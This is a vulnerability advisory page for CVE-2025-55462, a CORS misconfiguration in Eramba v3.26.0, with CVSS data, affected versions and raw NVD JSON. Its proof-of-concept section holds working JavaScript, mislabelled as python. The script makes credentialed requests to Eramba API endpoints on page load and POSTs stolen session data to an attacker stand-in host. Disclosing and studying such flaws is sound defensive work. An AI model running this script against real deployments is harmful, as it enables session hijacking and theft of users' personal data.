Security Vulnerability Report
中文
CVE-2025-55462 CVSS 6.5 MEDIUM

CVE-2025-55462

Published: 2026-01-13 15:15:59
Last Modified: 2026-02-05 21:10:05

Description

A CORS misconfiguration in Eramba Community and Enterprise Editions v3.26.0 allows an attacker-controlled Origin header to be reflected in the Access-Control-Allow-Origin response along with Access-Control-Allow-Credentials: true. This permits malicious third-party websites to perform authenticated cross-origin requests against the Eramba API, including endpoints like /system-api/login and /system-api/user/me. The response includes sensitive user session data (ID, name, email, access groups), which is accessible to the attacker's JavaScript. This flaw enables full session hijack and data exfiltration without user interaction. Eramba versions 3.23.3 and earlier were tested and appear unaffected. The vulnerability is present in default installations, requiring no custom configuration.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:eramba:eramba:3.26.0:*:*:*:community:*:*:* - VULNERABLE
cpe:2.3:a:eramba:eramba:3.26.0:*:*:*:enterprise:*:*:* - VULNERABLE
Eramba Community Edition v3.26.0
Eramba Enterprise Edition v3.26.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-55462 CORS Misconfiguration PoC for Eramba // This PoC demonstrates how an attacker can exploit CORS misconfiguration // to steal session data from authenticated Eramba users const TARGET_ORIGIN = 'https://eramba.example.com'; const MALICIOUS_ORIGIN = 'https://attacker-controlled-site.com'; // Function to make authenticated CORS request async function exploitCorsVulnerability() { console.log('[+] Starting CORS exploitation for CVE-2025-55462'); // Try to fetch user profile data via CORS const endpoints = [ '/system-api/user/me', '/system-api/login', '/api/profile' ]; for (const endpoint of endpoints) { try { console.log(`[*] Attempting to fetch: ${endpoint}`); // Craft the CORS request with credentials const response = await fetch(`${TARGET_ORIGIN}${endpoint}`, { method: 'GET', mode: 'cors', credentials: 'include', // Include cookies for authenticated request headers: { 'Origin': MALICIOUS_ORIGIN } }); if (response.ok) { const data = await response.json(); console.log('[+] Success! Extracted data:'); console.log(JSON.stringify(data, null, 2)); // Extract sensitive session information if (data.session_id || data.id) { const sessionInfo = { session_id: data.session_id || data.id, user_id: data.id, name: data.name, email: data.email, access_groups: data.access_groups }; console.log('[+] Session hijacking data collected:', sessionInfo); // Send stolen data to attacker server await reportStolenData(sessionInfo); } } else { console.log(`[-] Request failed with status: ${response.status}`); } } catch (error) { console.log(`[-] Error fetching ${endpoint}: ${error.message}`); } } } // Function to report stolen data to attacker async function reportStolenData(data) { // Send stolen session data to attacker-controlled endpoint await fetch('https://attacker-controlled-site.com/collect', { method: 'POST', mode: 'no-cors', body: JSON.stringify(data) }); } // Trigger exploitation when page loads window.onload = exploitCorsVulnerability; // Alternative PoC using XMLHttpRequest function xmlHttpRequestPoc() { const xhr = new XMLHttpRequest(); xhr.open('GET', TARGET_ORIGIN + '/system-api/user/me', true); xhr.withCredentials = true; // Include credentials xhr.setRequestHeader('Origin', MALICIOUS_ORIGIN); xhr.onreadystatechange = function() { if (xhr.readyState === 4 && xhr.status === 200) { const response = JSON.parse(xhr.responseText); console.log('Stolen data:', response); // Extract and exfiltrate session data } }; xhr.send(); }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-55462", "sourceIdentifier": "[email protected]", "published": "2026-01-13T15:15:58.950", "lastModified": "2026-02-05T21:10:05.470", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A CORS misconfiguration in Eramba Community and Enterprise Editions v3.26.0 allows an attacker-controlled Origin header to be reflected in the Access-Control-Allow-Origin response along with Access-Control-Allow-Credentials: true. This permits malicious third-party websites to perform authenticated cross-origin requests against the Eramba API, including endpoints like /system-api/login and /system-api/user/me. The response includes sensitive user session data (ID, name, email, access groups), which is accessible to the attacker's JavaScript. This flaw enables full session hijack and data exfiltration without user interaction. Eramba versions 3.23.3 and earlier were tested and appear unaffected. The vulnerability is present in default installations, requiring no custom configuration."}, {"lang": "es", "value": "Una mala configuración de CORS en las ediciones Community y Enterprise de Eramba v3.26.0 permite que un encabezado Origin controlado por el atacante se refleje en la respuesta Access-Control-Allow-Origin junto con Access-Control-Allow-Credentials: true. Esto permite que sitios web maliciosos de terceros realicen solicitudes autenticadas de origen cruzado contra la API de Eramba, incluyendo puntos finales como /system-api/login y /system-api/user/me. La respuesta incluye datos sensibles de la sesión del usuario (ID, nombre, correo electrónico, grupos de acceso), que son accesibles para el JavaScript del atacante. Esta falla permite el secuestro completo de la sesión y la exfiltración de datos sin interacción del usuario. Las versiones de Eramba 3.23.3 y anteriores fueron probadas y parecen no estar afectadas. La vulnerabilidad está presente en instalaciones predeterminadas, sin requerir configuración personalizada."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-942"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:eramba:eramba:3.26.0:*:*:*:community:*:*:*", "matchCriteriaId": "97AA6E88-A271-4E9B-AB18-8E5E356ED693"}, {"vulnerable": true, "criteria": "cpe:2.3:a:eramba:eramba:3.26.0:*:*:*:enterprise:*:*:*", "matchCriteriaId": "21040EA1-407E-4285-8777-308458001EE2"}]}]}], "references": [{"url": "http://eramba.com", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://discussions.eramba.org/t/release-3-28-0/7860", "source": "[email protected]", "tags": ["Release Notes"]}]}}